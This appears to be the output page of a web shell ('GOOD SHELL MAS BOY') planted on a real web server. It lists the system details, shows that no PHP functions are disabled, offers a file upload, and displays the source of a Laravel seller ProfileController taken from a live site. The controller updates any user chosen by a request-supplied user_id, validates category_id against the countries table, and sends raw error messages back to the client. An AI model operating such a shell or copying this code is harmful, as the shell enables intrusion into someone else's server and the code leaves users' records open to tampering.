GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Http/Controllers/Seller/ProfileController.php
<?php

namespace App\Http\Controllers\Seller;

use App\Models\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

class ProfileController extends Controller
{
    public function store(Request $request)
    {
        try {
            $validatedData = $request->validate([
                "display_name" => "required|string",
                "occupation" => "required|string",
                "skill" => "required|string",
                "description" => "required|string",
                "education" => "required|string",
                "certifications" => "required|string",
                "website" => "required|string",
                "category_id" => "required|string|exists:countries,id",
                "hotline_line" => "required|string",
                "language" => "required|string",
                "address" => "required|string",
                "city" => "required|string",
                "state" => "required|string",
                "country_id" => "required|string",
                "facebook" => "required|string",
                "other_social" => "required|string",
                "profile_image" => "required|string",
                "intro_video" => "required|string",
                "intro_image" => "required|string",
                "user_id" => "required|exists:users,id",
            ]);
        } catch (\Throwable $th) {
            return response()->json(['error' => $th->getMessage()], 500);
        }

        $user = User::findOrFail($validatedData['user_id']);
        $user->update([
            'address' => $validatedData['address'],
        ]);
    }
}